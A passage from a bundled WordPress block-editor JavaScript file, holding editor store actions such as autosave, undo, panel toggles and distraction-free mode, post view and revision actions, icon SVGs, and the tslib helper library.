3396const autosave = ({ local = false, ...options } = {}) => async ({ select, dispatch }) => {
3397 const post = select.getCurrentPost();
3398 if (post.type === "wp_template") {
3399 return;
3400 }
3401 if (local) {
3402 const isPostNew = select.isEditedPostNew();
3403 const title = select.getEditedPostAttribute("title");
3404 const content = select.getEditedPostAttribute("content");
3405 const excerpt = select.getEditedPostAttribute("excerpt");
3406 localAutosaveSet(post.id, isPostNew, title, content, excerpt);
3407 } else {
3408 await dispatch.savePost({ isAutosave: true, ...options });
3409 }
3410};
3411const __unstableSaveForPreview = ({ forceIsAutosaveable } = {}) => async ({ select, dispatch }) => {
3412 if ((forceIsAutosaveable || select.isEditedPostAutosaveable()) && !select.isPostLocked()) {
3413 const isDraft = ["draft", "auto-draft"].includes(
3414 select.getEditedPostAttribute("status")
3415 );
3416 if (isDraft) {
3417 await dispatch.savePost({ isPreview: true });
3418 } else {
3419 await dispatch.autosave({ isPreview: true });
3420 }
3421 }
3422 return select.getEditedPostPreviewLink();
3423};
3424const redo = () => ({ registry }) => {
3425 registry.dispatch(external_wp_coreData_namespaceObject.store).redo();
3426};
3427const undo = () => ({ registry }) => {
3428 registry.dispatch(external_wp_coreData_namespaceObject.store).undo();
3429};
3430function createUndoLevel() {
3431 external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).createUndoLevel", {
3432 since: "6.0",
3433 version: "6.3",
3434 alternative: "Use the core entities store instead"
3435 });
3436 return { type: "DO_NOTHING" };
3437}
3438function updatePostLock(lock) {
3439 return {
3440 type: "UPDATE_POST_LOCK",
3441 lock
3442 };
3443}
3444const enablePublishSidebar = () => ({ registry }) => {
3445 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "isPublishSidebarEnabled", true);
3446};
3447const disablePublishSidebar = () => ({ registry }) => {
3448 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "isPublishSidebarEnabled", false);
3449};
3450function lockPostSaving(lockName) {
3451 return {
3452 type: "LOCK_POST_SAVING",
3453 lockName
3454 };
3455}
3456function unlockPostSaving(lockName) {
3457 return {
3458 type: "UNLOCK_POST_SAVING",
3459 lockName
3460 };
3461}
3462function lockPostAutosaving(lockName) {
3463 return {
3464 type: "LOCK_POST_AUTOSAVING",
3465 lockName
3466 };
3467}
3468function unlockPostAutosaving(lockName) {
3469 return {
3470 type: "UNLOCK_POST_AUTOSAVING",
3471 lockName
3472 };
3473}
3474const resetEditorBlocks = (blocks, options = {}) => ({ select, dispatch, registry }) => {
3475 const { __unstableShouldCreateUndoLevel, selection } = options;
3476 const edits = { blocks, selection };
3477 if (__unstableShouldCreateUndoLevel !== false) {
3478 const { id, type } = select.getCurrentPost();
3479 const noChange = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord("postType", type, id).blocks === edits.blocks;
3480 if (noChange) {
3481 registry.dispatch(external_wp_coreData_namespaceObject.store).__unstableCreateUndoLevel("postType", type, id);
3482 return;
3483 }
3484 edits.content = ({ blocks: blocksForSerialization = [] }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization);
3485 }
3486 dispatch.editPost(edits);
3487};
3488function updateEditorSettings(settings) {
3489 return {
3490 type: "UPDATE_EDITOR_SETTINGS",
3491 settings
3492 };
3493}
3494const setRenderingMode = (mode) => ({ dispatch, registry, select }) => {
3495 if (select.__unstableIsEditorReady()) {
3496 registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
3497 dispatch.editPost({ selection: void 0 }, { undoIgnore: true });
3498 }
3499 dispatch({
3500 type: "SET_RENDERING_MODE",
3501 mode
3502 });
3503};
3504function setDeviceType(deviceType) {
3505 return {
3506 type: "SET_DEVICE_TYPE",
3507 deviceType
3508 };
3509}
3510const toggleEditorPanelEnabled = (panelName) => ({ registry }) => {
3511 const inactivePanels = registry.select(external_wp_preferences_namespaceObject.store).get("core", "inactivePanels") ?? [];
3512 const isPanelInactive = !!inactivePanels?.includes(panelName);
3513 let updatedInactivePanels;
3514 if (isPanelInactive) {
3515 updatedInactivePanels = inactivePanels.filter(
3516 (invactivePanelName) => invactivePanelName !== panelName
3517 );
3518 } else {
3519 updatedInactivePanels = [...inactivePanels, panelName];
3520 }
3521 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "inactivePanels", updatedInactivePanels);
3522};
3523const toggleEditorPanelOpened = (panelName) => ({ registry }) => {
3524 const openPanels = registry.select(external_wp_preferences_namespaceObject.store).get("core", "openPanels") ?? [];
3525 const isPanelOpen = !!openPanels?.includes(panelName);
3526 let updatedOpenPanels;
3527 if (isPanelOpen) {
3528 updatedOpenPanels = openPanels.filter(
3529 (openPanelName) => openPanelName !== panelName
3530 );
3531 } else {
3532 updatedOpenPanels = [...openPanels, panelName];
3533 }
3534 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "openPanels", updatedOpenPanels);
3535};
3536function removeEditorPanel(panelName) {
3537 return {
3538 type: "REMOVE_PANEL",
3539 panelName
3540 };
3541}
3542const setIsInserterOpened = (value) => ({ dispatch, registry }) => {
3543 if (typeof value === "object" && value.hasOwnProperty("rootClientId") && value.hasOwnProperty("insertionIndex")) {
3544 unlock(registry.dispatch(external_wp_blockEditor_namespaceObject.store)).setInsertionPoint({
3545 rootClientId: value.rootClientId,
3546 index: value.insertionIndex
3547 });
3548 }
3549 dispatch({
3550 type: "SET_IS_INSERTER_OPENED",
3551 value
3552 });
3553};
3554function setIsListViewOpened(isOpen) {
3555 return {
3556 type: "SET_IS_LIST_VIEW_OPENED",
3557 isOpen
3558 };
3559}
3560const toggleDistractionFree = ({ createNotice = true } = {}) => ({ dispatch, registry }) => {
3561 const isDistractionFree = registry.select(external_wp_preferences_namespaceObject.store).get("core", "distractionFree");
3562 if (isDistractionFree) {
3563 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "fixedToolbar", false);
3564 }
3565 if (!isDistractionFree) {
3566 registry.batch(() => {
3567 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "fixedToolbar", true);
3568 dispatch.setIsInserterOpened(false);
3569 dispatch.setIsListViewOpened(false);
3570 unlock(
3571 registry.dispatch(external_wp_blockEditor_namespaceObject.store)
3572 ).resetZoomLevel();
3573 });
3574 }
3575 registry.batch(() => {
3576 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "distractionFree", !isDistractionFree);
3577 if (createNotice) {
3578 registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(
3579 isDistractionFree ? (0,external_wp_i18n_namespaceObject.__)("Distraction free mode deactivated.") : (0,external_wp_i18n_namespaceObject.__)("Distraction free mode activated."),
3580 {
3581 id: "core/editor/distraction-free-mode/notice",
3582 type: "snackbar",
3583 actions: [
3584 {
3585 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
3586 onClick: () => {
3587 registry.batch(() => {
3588 registry.dispatch(external_wp_preferences_namespaceObject.store).set(
3589 "core",
3590 "fixedToolbar",
3591 isDistractionFree
3592 );
3593 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(
3594 "core",
3595 "distractionFree"
3596 );
3597 });
3598 }
3599 }
3600 ]
3601 }
3602 );
3603 }
3604 });
3605};
3606const toggleSpotlightMode = () => ({ registry }) => {
3607 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle("core", "focusMode");
3608 const isFocusMode = registry.select(external_wp_preferences_namespaceObject.store).get("core", "focusMode");
3609 registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(
3610 isFocusMode ? (0,external_wp_i18n_namespaceObject.__)("Spotlight mode activated.") : (0,external_wp_i18n_namespaceObject.__)("Spotlight mode deactivated."),
3611 {
3612 id: "core/editor/toggle-spotlight-mode/notice",
3613 type: "snackbar",
3614 actions: [
3615 {
3616 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
3617 onClick: () => {
3618 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle("core", "focusMode");
3619 }
3620 }
3621 ]
3622 }
3623 );
3624};
3625const toggleTopToolbar = () => ({ registry }) => {
3626 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle("core", "fixedToolbar");
3627 const isTopToolbar = registry.select(external_wp_preferences_namespaceObject.store).get("core", "fixedToolbar");
3628 registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(
3629 isTopToolbar ? (0,external_wp_i18n_namespaceObject.__)("Top toolbar activated.") : (0,external_wp_i18n_namespaceObject.__)("Top toolbar deactivated."),
3630 {
3631 id: "core/editor/toggle-top-toolbar/notice",
3632 type: "snackbar",
3633 actions: [
3634 {
3635 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
3636 onClick: () => {
3637 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle("core", "fixedToolbar");
3638 }
3639 }
3640 ]
3641 }
3642 );
3643};
3644const switchEditorMode = (mode) => ({ dispatch, registry }) => {
3645 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "editorMode", mode);
3646 if (mode !== "visual") {
3647 registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
3648 unlock(registry.dispatch(external_wp_blockEditor_namespaceObject.store)).resetZoomLevel();
3649 }
3650 if (mode === "visual") {
3651 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Visual editor selected"), "assertive");
3652 } else if (mode === "text") {
3653 const isDistractionFree = registry.select(external_wp_preferences_namespaceObject.store).get("core", "distractionFree");
3654 if (isDistractionFree) {
3655 dispatch.toggleDistractionFree();
3656 }
3657 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Code editor selected"), "assertive");
3658 }
3659};
3660function openPublishSidebar() {
3661 return {
3662 type: "OPEN_PUBLISH_SIDEBAR"
3663 };
3664}
3665function closePublishSidebar() {
3666 return {
3667 type: "CLOSE_PUBLISH_SIDEBAR"
3668 };
3669}
3670function togglePublishSidebar() {
3671 return {
3672 type: "TOGGLE_PUBLISH_SIDEBAR"
3673 };
3674}
3675const getBlockEditorAction = (name) => (...args) => ({ registry }) => {
3676 external_wp_deprecated_default()("`wp.data.dispatch( 'core/editor' )." + name + "`", {
3677 since: "5.3",
3678 alternative: "`wp.data.dispatch( 'core/block-editor' )." + name + "`",
3679 version: "6.2"
3680 });
3681 registry.dispatch(external_wp_blockEditor_namespaceObject.store)[name](...args);
3682};
3683const resetBlocks = getBlockEditorAction("resetBlocks");
3684const receiveBlocks = getBlockEditorAction("receiveBlocks");
3685const updateBlock = getBlockEditorAction("updateBlock");
3686const updateBlockAttributes = getBlockEditorAction(
3687 "updateBlockAttributes"
3688);
3689const selectBlock = getBlockEditorAction("selectBlock");
3690const startMultiSelect = getBlockEditorAction("startMultiSelect");
3691const stopMultiSelect = getBlockEditorAction("stopMultiSelect");
3692const multiSelect = getBlockEditorAction("multiSelect");
3693const clearSelectedBlock = getBlockEditorAction("clearSelectedBlock");
3694const toggleSelection = getBlockEditorAction("toggleSelection");
3695const replaceBlocks = getBlockEditorAction("replaceBlocks");
3696const replaceBlock = getBlockEditorAction("replaceBlock");
3697const moveBlocksDown = getBlockEditorAction("moveBlocksDown");
3698const moveBlocksUp = getBlockEditorAction("moveBlocksUp");
3699const moveBlockToPosition = getBlockEditorAction(
3700 "moveBlockToPosition"
3701);
3702const insertBlock = getBlockEditorAction("insertBlock");
3703const insertBlocks = getBlockEditorAction("insertBlocks");
3704const showInsertionPoint = getBlockEditorAction("showInsertionPoint");
3705const hideInsertionPoint = getBlockEditorAction("hideInsertionPoint");
3706const setTemplateValidity = getBlockEditorAction(
3707 "setTemplateValidity"
3708);
3709const synchronizeTemplate = getBlockEditorAction(
3710 "synchronizeTemplate"
3711);
3712const mergeBlocks = getBlockEditorAction("mergeBlocks");
3713const removeBlocks = getBlockEditorAction("removeBlocks");
3714const removeBlock = getBlockEditorAction("removeBlock");
3715const toggleBlockMode = getBlockEditorAction("toggleBlockMode");
3716const startTyping = getBlockEditorAction("startTyping");
3717const stopTyping = getBlockEditorAction("stopTyping");
3718const enterFormattedText = getBlockEditorAction("enterFormattedText");
3719const exitFormattedText = getBlockEditorAction("exitFormattedText");
3720const insertDefaultBlock = getBlockEditorAction("insertDefaultBlock");
3721const updateBlockListSettings = getBlockEditorAction(
3722 "updateBlockListSettings"
3723);
3724
3725
3726;// external ["wp","htmlEntities"]
3727const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
3728;// ./node_modules/@wordpress/editor/build-module/store/utils/is-template-revertable.js
3729
3730function isTemplateRevertable(templateOrTemplatePart) {
3731 if (!templateOrTemplatePart) {
3732 return false;
3733 }
3734 return templateOrTemplatePart.source === TEMPLATE_ORIGINS.custom && (Boolean(templateOrTemplatePart?.plugin) || templateOrTemplatePart?.has_theme_file);
3735}
3736
3737
3738;// ./node_modules/@wordpress/icons/build-module/library/external.js
3739
3740
3741var external_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });
3742
3743
3744;// ./node_modules/@wordpress/fields/build-module/actions/view-post.js
3745
3746
3747const viewPost = {
3748 id: "view-post",
3749 label: (0,external_wp_i18n_namespaceObject._x)("View", "verb"),
3750 isPrimary: true,
3751 icon: external_default,
3752 isEligible(post) {
3753 return post.status !== "trash";
3754 },
3755 callback(posts, { onActionPerformed }) {
3756 const post = posts[0];
3757 window.open(post?.link, "_blank");
3758 if (onActionPerformed) {
3759 onActionPerformed(posts);
3760 }
3761 }
3762};
3763var view_post_default = viewPost;
3764
3765
3766;// ./node_modules/@wordpress/fields/build-module/actions/view-post-revisions.js
3767
3768
3769const viewPostRevisions = {
3770 id: "view-post-revisions",
3771 context: "list",
3772 label(items) {
3773 const revisionsCount = items[0]._links?.["version-history"]?.[0]?.count ?? 0;
3774 return (0,external_wp_i18n_namespaceObject.sprintf)(
3775 /* translators: %d: number of revisions. */
3776 (0,external_wp_i18n_namespaceObject.__)("View revisions (%d)"),
3777 revisionsCount
3778 );
3779 },
3780 isEligible(post) {
3781 if (post.status === "trash") {
3782 return false;
3783 }
3784 const lastRevisionId = post?._links?.["predecessor-version"]?.[0]?.id ?? null;
3785 const revisionsCount = post?._links?.["version-history"]?.[0]?.count ?? 0;
3786 return !!lastRevisionId && revisionsCount > 1;
3787 },
3788 callback(posts, { onActionPerformed }) {
3789 const post = posts[0];
3790 const href = (0,external_wp_url_namespaceObject.addQueryArgs)("revision.php", {
3791 revision: post?._links?.["predecessor-version"]?.[0]?.id
3792 });
3793 document.location.href = href;
3794 if (onActionPerformed) {
3795 onActionPerformed(posts);
3796 }
3797 }
3798};
3799var view_post_revisions_default = viewPostRevisions;
3800
3801
3802;// external ["wp","components"]
3803const external_wp_components_namespaceObject = window["wp"]["components"];
3804;// ./node_modules/@wordpress/icons/build-module/library/check.js
3805
3806
3807var check_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
3808
3809
3810;// ./node_modules/tslib/tslib.es6.mjs
3811/******************************************************************************
3812Copyright (c) Microsoft Corporation.
3813
3814Permission to use, copy, modify, and/or distribute this software for any
3815purpose with or without fee is hereby granted.
3816
3817THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
3818REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
3819AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
3820INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
3821LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
3822OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
3823PERFORMANCE OF THIS SOFTWARE.
3824***************************************************************************** */
3825/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
3826
3827var extendStatics = function(d, b) {
3828 extendStatics = Object.setPrototypeOf ||
3829 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
3830 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
3831 return extendStatics(d, b);
3832};
3833
3834function __extends(d, b) {
3835 if (typeof b !== "function" && b !== null)
3836 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
3837 extendStatics(d, b);
3838 function __() { this.constructor = d; }
3839 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
3840}
3841
3842var __assign = function() {
3843 __assign = Object.assign || function __assign(t) {
3844 for (var s, i = 1, n = arguments.length; i < n; i++) {
3845 s = arguments[i];
3846 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
3847 }
3848 return t;
3849 }
3850 return __assign.apply(this, arguments);
3851}
3852
3853function __rest(s, e) {
3854 var t = {};
3855 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
3856 t[p] = s[p];
3857 if (s != null && typeof Object.getOwnPropertySymbols === "function")
3858 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
3859 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
3860 t[p[i]] = s[p[i]];
3861 }
3862 return t;
3863}
3864
3865function __decorate(decorators, target, key, desc) {
3866 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
3867 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
3868 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
3869 return c > 3 && r && Object.defineProperty(target, key, r), r;
3870}
3871
3872function __param(paramIndex, decorator) {
3873 return function (target, key) { decorator(target, key, paramIndex); }
3874}
3875
3876function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
3877 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
3878 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
3879 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
3880 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
3881 var _, done = false;
3882 for (var i = decorators.length - 1; i >= 0; i--) {
3883 var context = {};
3884 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
3885 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
3886 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
3887 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
3888 if (kind === "accessor") {
3889 if (result === void 0) continue;
3890 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
3891 if (_ = accept(result.get)) descriptor.get = _;
3892 if (_ = accept(result.set)) descriptor.set = _;
3893 if (_ = accept(result.init)) initializers.unshift(_);
3894 }
3895 else if (_ = accept(result)) {
3896 if (kind === "field") initializers.unshift(_);
3897 else descriptor[key] = _;
3898 }
3899 }
3900 if (target) Object.defineProperty(target, contextIn.name, descriptor);
3901 done = true;
3902};
3903
3904function __runInitializers(thisArg, initializers, value) {
3905 var useValue = arguments.length > 2;
3906 for (var i = 0; i < initializers.length; i++) {
3907 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
3908 }
3909 return useValue ? value : void 0;
3910};
3911
3912function __propKey(x) {
3913 return typeof x === "symbol" ? x : "".concat(x);
3914};
3915
3916function __setFunctionName(f, name, prefix) {
3917 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
3918 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
3919};
3920
3921function __metadata(metadataKey, metadataValue) {
3922 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
3923}
3924
3925function __awaiter(thisArg, _arguments, P, generator) {
3926 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3927 return new (P || (P = Promise))(function (resolve, reject) {
3928 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
3929 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
3930 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
3931 step((generator = generator.apply(thisArg, _arguments || [])).next());
3932 });
3933}
3934
3935function __generator(thisArg, body) {
3936 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
3937 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
3938 function verb(n) { return function (v) { return step([n, v]); }; }
3939 function step(op) {
3940 if (f) throw new TypeError("Generator is already executing.");
3941 while (g && (g = 0, op[0] && (_ = 0)), _) try {
3942 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
3943 if (y = 0, t) op = [op[0] & 2, t.value];
3944 switch (op[0]) {
3945 case 0: case 1: t = op; break;
3946 case 4: _.label++; return { value: op[1], done: false };
3947 case 5: _.label++; y = op[1]; op = [0]; continue;
3948 case 7: op = _.ops.pop(); _.trys.pop(); continue;
3949 default:
3950 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
3951 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
3952 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
3953 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
3954 if (t[2]) _.ops.pop();
3955 _.trys.pop(); continue;
3956 }
3957 op = body.call(thisArg, _);
3958 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
3959 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
3960 }
3961}
3962
3963var __createBinding = Object.create ? (function(o, m, k, k2) {
3964 if (k2 === undefined) k2 = k;
3965 var desc = Object.getOwnPropertyDescriptor(m, k);
3966 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
3967 desc = { enumerable: true, get: function() { return m[k]; } };
3968 }
3969 Object.defineProperty(o, k2, desc);
3970}) : (function(o, m, k, k2) {
3971 if (k2 === undefined) k2 = k;
3972 o[k2] = m[k];
3973});
3974
3975function __exportStar(m, o) {
3976 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
3977}
3978
3979function __values(o) {
3980 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
3981 if (m) return m.call(o);
3982 if (o && typeof o.length === "number") return {
3983 next: function () {
3984 if (o && i >= o.length) o = void 0;
3985 return { value: o && o[i++], done: !o };
3986 }
3987 };
3988 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
3989}
3990
3991function __read(o, n) {
3992 var m = typeof Symbol === "function" && o[Symbol.iterator];
3993 if (!m) return o;
3994 var i = m.call(o), r, ar = [], e;
3995 try {
3996 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
3997 }
3998 catch (error) { e = { error: error }; }
3999 finally {
4000 try {
4001 if (r && !r.done && (m = i["return"])) m.call(i);
4002 }
4003 finally { if (e) throw e.error; }
4004 }
4005 return ar;
4006}
4007
4008/** @deprecated */
4009function __spread() {
4010 for (var ar = [], i = 0; i < arguments.length; i++)
4011 ar = ar.concat(__read(arguments[i]));
4012 return ar;
4013}
4014
4015/** @deprecated */
4016function __spreadArrays() {
4017 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
4018 for (var r = Array(s), k = 0, i = 0; i < il; i++)
4019 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
4020 r[k] = a[j];
4021 return r;
4022}
4023
4024function __spreadArray(to, from, pack) {
4025 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
4026 if (ar || !(i in from)) {
4027 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
4028 ar[i] = from[i];
4029 }
4030 }
4031 return to.concat(ar || Array.prototype.slice.call(from));
4032}
4033
4034function __await(v) {
4035 return this instanceof __await ? (this.v = v, this) : new __await(v);
4036}
4037
4038function __asyncGenerator(thisArg, _arguments, generator) {
4039 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
4040 var g = generator.apply(thisArg, _arguments || []), i, q = [];
4041 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
4042 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
4043 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
4044 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
4045 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
4046 function fulfill(value) { resume("next", value); }
4047 function reject(value) { resume("throw", value); }
4048 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
4049}
4050
4051function __asyncDelegator(o) {
4052 var i, p;
4053 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
4054 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
4055}
4056
4057function __asyncValues(o) {
4058 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
4059 var m = o[Symbol.asyncIterator], i;
4060 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
4061 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
4062 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
4063}
4064
4065function __makeTemplateObject(cooked, raw) {
4066 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
4067 return cooked;
4068};
4069
4070var __setModuleDefault = Object.create ? (function(o, v) {
4071 Object.defineProperty(o, "default", { enumerable: true, value: v });
4072}) : function(o, v) {
4073 o["default"] = v;
4074};
4075
4076var ownKeys = function(o) {
4077 ownKeys = Object.getOwnPropertyNames || function (o) {
4078 var ar = [];
4079 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
4080 return ar;
4081 };
4082 return ownKeys(o);
4083};
4084
4085function __importStar(mod) {
4086 if (mod && mod.__esModule) return mod;
4087 var result = {};
4088 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
4089 __setModuleDefault(result, mod);
4090 return result;
4091}
4092
4093function __importDefault(mod) {
4094 return (mod && mod.__esModule) ? mod : { default: mod };
4095}
4096
4097function __classPrivateFieldGet(receiver, state, kind, f) {
4098 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
4099 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
4100 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
4101}
4102
4103function __classPrivateFieldSet(receiver, state, value, kind, f) {
4104 if (kind === "m") throw new TypeError("Private method is not writable");
4105 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
4106 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
4107 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
4108}
4109
4110function __classPrivateFieldIn(state, receiver) {
4111 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
4112 return typeof state === "function" ? receiver === state : state.has(receiver);
4113}
4114
4115function __addDisposableResource(env, value, async) {
4116 if (value !== null && value !== void 0) {
